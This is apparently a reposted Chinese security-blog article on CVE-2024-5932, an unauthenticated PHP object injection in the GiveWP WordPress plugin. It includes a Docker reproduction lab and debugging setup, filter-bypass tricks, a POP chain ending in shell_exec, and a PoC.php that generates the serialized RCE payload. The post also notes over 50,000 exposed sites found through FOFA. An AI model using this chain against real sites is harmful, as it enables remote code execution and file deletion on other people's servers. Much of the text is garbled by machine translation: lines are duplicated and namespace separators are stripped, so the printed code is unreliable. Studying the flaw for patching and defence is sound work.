poc见最下方阅读原文,欢迎关注。最新漏洞持续推送中
CVE-2024-5932:GiveWP PHP 对象注入漏洞是一个可以远程代码执行和未经授权文件删除的漏洞
漏洞描述:
WordPress 的 GiveWP 捐赠插件和筹款平台插件在 3.14.1 及之前的所有版本中,通过反序列化来自“give_title”的不受信任的输入,容易受到 PHP 对象注入的攻击。' 范围。这使得未经身份验证的攻击者可以注入 PHP 对象。POP 链的额外存在允许攻击者远程执行代码并删除任意文件。
CVE-2024-5932.py
根据特征从fofa搜索可得到5W+资产
漏洞复现环境搭建
1. docker-compose.yml 1.docker-compose.yml
services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
MYSQL_ROOT_PASSWORD=somewordpress
MYSQL_DATABASE=wordpress
MYSQL_USER=wordpress
MYSQL_PASSWORD=wordpress
expose:
3306
33060
wordpress:
image: wordpress:6.3.2
ports:
80:80
restart: always
environment:
WORDPRESS_DB_HOST=db
WORDPRESS_DB_USER=wordpress
WORDPRESS_DB_PASSWORD=wordpress
WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
2.然后下载有漏洞的GiveWP插件:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
3. 解压 GiveWP 插件 zip 文件并将整个文件复制到“/var/www/html/wp-content/plugins”目录。
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins
4.激活GiveWP插件
5. 使用 GiveWP 插件添加新帖子并复制帖子链接
6.检查易受攻击的链接
在docker环境中设置目标文件
首先,使用以下命令访问 wordpress shell:
docker exec -it -u root docker-wordpress-1 /bin/bash
如果该文件属于root,则可能由于权限原因而无法删除。因此,您需要使用以下命令更改测试文件的所有权:
touch test && chown www-data test
通过 PHPSTORM 进行调试
您可以使用 PHPSTORM 调试 GiveWP。
1. 在你的wordpress(Docker)中下载xdebug:
pecl install xdebug
2.然后像(Docker)一样设置wordpress的php.ini文件:
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..然后你就可以调试你的wordpress了。
3. 设置PHPSTORM(本地):
4. PHPSTORM示例(例如TCPDF任意文件删除)
分析
脆弱点(includes/ payments/class-give- payment.php)
此时,get_meta()函数反序列化之前保存的“give_title”值。
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
Bypass 技术
strip_tags: replace nullbytes -> using 0
strip_tags:使用 0 替换空字节 ->
stripslashes_deep: replace backslashes -> using \\
stripslashes_deep:使用 \\ 替换反斜杠 ->
POP chaining for RCE RCE 的 POP 链
StripeStripeObject->__toString()
StripeStripeObject->toArray()
GivePaymentGatewaysDataTransferObjectsGiveInsertPaymentData->toArray()
GivePaymentGatewaysDataTransferObjectsGiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
给->__get('address1')
GiveVendorsFakerValidGenerator->get('address1')
GiveVendorsFakerValidGenerator->get('address1')
GiveVendorsFakerValidGenerator->__call('get', 'address1')
GiveVendorsFakerValidGenerator->__call('get', 'address1')
GiveOnboardingSettingsRepository->get('address1') (Return command string)
GiveOnboardingSettingsRepository->get('address1')(返回命令字符串)
call_user_func('shell_exec', 'command')
call_user_func('shell_exec', '命令')
PoC.php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new GivePaymentGatewaysDataTransferObjectsGiveInsertPaymentData();
}
}
}
namespace GivePaymentGatewaysDataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new GiveVendorsFakerValidGenerator();
}
}
}
namespace GiveVendorsFaker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new GiveOnboardingSettingsRepository();
}
}
}
namespace GiveOnboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new StripeStripeObject();
echo serialize($a);
}
通过 POP 链进行远程命令执行
👇 poc
原文始发于微信公众号(合规渗透):超高危 Wordpress RCE漏洞 CVE-2024-5932 全网资产 5W+ 附POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论